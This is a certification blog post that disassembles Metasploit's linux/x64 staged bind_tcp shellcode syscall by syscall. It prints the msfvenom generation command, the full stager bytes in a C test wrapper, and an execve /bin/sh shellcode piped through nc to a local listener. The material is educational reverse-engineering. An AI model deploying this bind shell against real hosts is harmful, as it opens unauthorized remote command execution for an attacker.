Analysis of Metasploit linux/x64/shell/bind_tcp shellcode

linux/x64/shell/bind_tcp staged shellcode generally consists of following steps

  • Create listening port and wait for connection
  • Map 4096 bytes in process’ VAS memory
  • Wait for incoming data and save them into mapped memory
  • Execute saved data

Shellcode demonstration

Create elf64 executable with msfvenom

$ msfvenom -p linux/x64/shell/bind_tcp -f elf -a x64 --platform linux LPORT=1234 -o staged_bind_tcp_x64

Execute the stager

$ chmod a+x staged_bind_tcp_x64
$ ./staged_bind_tcp_x64

Send arbitrary shellcode to a socket which was opened by the stager. This shellcode will be executed in the stager process. In this example execve /bin/sh shellcode is used.

echo -ne "\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05" | nc 127.1.1.1 1234

The stager executes /bin/sh

$ ./staged_bind_tcp_x64 
$ whoami
maple

Shellcode overview

Let’s generate the staged shellcode with msfvenom and output it in C format

$ msfvenom -p linux/x64/shell/bind_tcp -f c -a x64 --platform linux LPORT=1234

and insert it into C testing wrapper

// shellcode.c
// shellcode testing wrapper

#include<stdio.h>
#include<string.h>

// msfvenom -p linux/x64/shell/bind_tcp -f c -a x64 --platform linux LPORT=1234
unsigned char code[] = \
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
"\xc7\x04\x24\x02\x00\x04\xd2\x48\x89\xe6\x6a\x10\x5a\x6a\x31"
"\x58\x0f\x05\x59\x6a\x32\x58\x0f\x05\x48\x96\x6a\x2b\x58\x0f"
"\x05\x50\x56\x5f\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31"
"\xc9\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x96\x48\x97\x5f\x0f"
"\x05\xff\xe6";

main()
{
        printf("Shellcode Length:  %zd\n", strlen(code));
        int (*CodeFun)() = (int(*)())code;
        CodeFun();
}

Compile it without buffer overflow stack protection and allow executable stack with -z flag which is passed to the linker

$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Now let’s disassemble the shellcode using gdb

$ gdb shellcode
(gdb) break *&code
(gdb) r
(gdb) disas
=>  0x0000000000601040 <+0>:     push   0x29
    0x0000000000601042 <+2>:     pop    rax
    0x0000000000601043 <+3>:     cdq    
    0x0000000000601044 <+4>:     push   0x2
    0x0000000000601046 <+6>:     pop    rdi
    0x0000000000601047 <+7>:     push   0x1
    0x0000000000601049 <+9>:     pop    rsi
    0x000000000060104a <+10>:    syscall 
    0x000000000060104c <+12>:    xchg   rdi,rax
    0x000000000060104e <+14>:    push   rdx
    0x000000000060104f <+15>:    mov    DWORD PTR [rsp],0xd2040002
    0x0000000000601056 <+22>:    mov    rsi,rsp
    0x0000000000601059 <+25>:    push   0x10
    0x000000000060105b <+27>:    pop    rdx
    0x000000000060105c <+28>:    push   0x31
    0x000000000060105e <+30>:    pop    rax
    0x000000000060105f <+31>:    syscall 
    0x0000000000601061 <+33>:    pop    rcx
    0x0000000000601062 <+34>:    push   0x32
    0x0000000000601064 <+36>:    pop    rax
    0x0000000000601065 <+37>:    syscall 
    0x0000000000601067 <+39>:    xchg   rsi,rax
    0x0000000000601069 <+41>:    push   0x2b
    0x000000000060106b <+43>:    pop    rax
    0x000000000060106c <+44>:    syscall 
    0x000000000060106e <+46>:    push   rax
    0x000000000060106f <+47>:    push   rsi
    0x0000000000601070 <+48>:    pop    rdi
    0x0000000000601071 <+49>:    push   0x9
    0x0000000000601073 <+51>:    pop    rax
    0x0000000000601074 <+52>:    cdq    
    0x0000000000601075 <+53>:    mov    dh,0x10
    0x0000000000601077 <+55>:    mov    rsi,rdx
    0x000000000060107a <+58>:    xor    r9,r9
    0x000000000060107d <+61>:    push   0x22
    0x000000000060107f <+63>:    pop    r10
    0x0000000000601081 <+65>:    mov    dl,0x7
    0x0000000000601083 <+67>:    syscall 
    0x0000000000601085 <+69>:    xchg   rsi,rax
    0x0000000000601087 <+71>:    xchg   rdi,rax
    0x0000000000601089 <+73>:    pop    rdi
    0x000000000060108a <+74>:    syscall 
    0x000000000060108c <+76>:    jmp    rsi
    0x000000000060108e <+78>:    add    BYTE PTR [rax],al

We have 6 system calls in the shellcode so we analyze them in-depth one by one.

Create listening port and wait for connection

push   0x29         ; syscall number 41, int socket(int domain, int type, int protocol)
pop    rax
cdq                 ; zeroing RDX via EAX sign extension
push   0x2          ; int domain = 2
pop    rdi
push   0x1          ; int type = 1
pop    rsi
syscall             ; invoke system call socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
xchg   rdi, rax     ; save returned file descriptor

First assembly stub creates endpoint for communication and returns new file descriptor for the socket. Protocol family which is used for communication is set to PF_INET which stands for IPv4 Internet protocols. type argument specifies communication semantics and is set to SOCK_STREAM which provides sequenced, reliable, two-way, connection-based byte streams. Returned file descriptor is saved into RDI for later use.

push   rdx          ; push 0x0000000000000000, contains IP 0.0.0.0 aka all interfaces
mov    DWORD PTR [rsp], 0xd2040002 ; pushes AF_INET and big endian port number 1234
mov    rsi, rsp
;;; stack content, low to high mem ;;;
0x02    0x00    0x04    0xd2    0x00    0x00    0x00    0x00
;;; stack content, low to high mem ;;;
push   0x10         ; socklen_t addrlen = 16
pop    rdx
push   0x31         ; syscall number 49, int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
pop    rax
syscall             ; invoke system call bind(fd_num, {sa_family=AF_INET, sin_port=htons(1234), sin_addr=inet_addr("0.0.0.0")}, 16)

The above assembly stub binds a name to the socket. In other words bind() call setups particular socket bound with specific file descriptor. IP and port are passed via sockaddr structure which is represented by data in the stack. Last argument to bind() call is size of sockaddr structure. RAX is zeroed if bind() is executed successfully.

pop    rcx          ; pops port number into rcx (not used)
push   0x32         ; syscall number 50, int listen(int sockfd, int backlog)
pop    rax
syscall             ; invoke system call listen(fd_num, pointer_to_sockaddr), (RSI can be random uint)

Next the socket is marked as passive with listen() call. RAX is zeroed on successful listen() execution.

xchg   rsi, rax     ; zeroing rsi
push   0x2b         ; syscall number 43, int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
pop    rax
syscall             ; invoke system call accept(fd_num, pointer_to_sockaddr, 16)

Accept() call accepts connection on the socket passed by file descriptor in first argument and extracts this new connection to the new socket. Old listening socket is unaffected and new connected socket file descriptor is returned.

Wait for incoming data, map memory and save them into mapped memory

push   rax          ; push 8
push   rsi          ; push 0x0000000000000000
pop    rdi          ; void *addr = 0
push   0x9          ; syscall number 9, void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset)
pop    rax
cdq                 ; rdx = 0
mov    dh, 0x10     ; int prot = 0x1000
mov    rsi, rdx     ; size_t length = 0x1000
xor    r9, r9       ; r9 = 0
push   0x22         ; int flags = 0x22
pop    r10
mov    dl, 0x7      ; int prot = 0x7
syscall             ; invoke system call *mmap(0, 0x1000, 0x1007, 0x22, random_address, 0)
                     ; mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, -1558351851, 0)

xchg   rsi, rax     ; save pointer to mapped area to rsi
xchg   rdi, rax     ; zeroing rax
pop    rdi          ; rdi = 8
syscall             ; invoke system call 0, ssize_t read(int fd, void *buf, size_t count)
                     ; read(fd_num_from_accept(), pointer_to_mapped_area, 0x1007)

mmap() system call is invoked which creates new VAS <-> Physical memory mapping. Starting address for new mapping is selected automatically by kernel if NULL is passed in *addr argument. 4096 bytes (1 page) is mapped. prot argument specifies that data in mapped pages can be read, written and executed. flags argument specifies that updates to the mapping are not visible to other processes mapping the same file and that the mapping is not backed by any file; its contents are initialized to zero. fd and offset arguments are ignored due to the MAP_ANONYMOUS flag set.

read() call reads 4103 bytes from the socket and saves them to previously mapped memory.

Execute saved data

jmp    rsi          ; after read() point RIP to read data

Load RIP with RSI content which points to read data thus effectively execute them.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification

Github code

Student ID: SLAE64 – 1629

Leave a Reply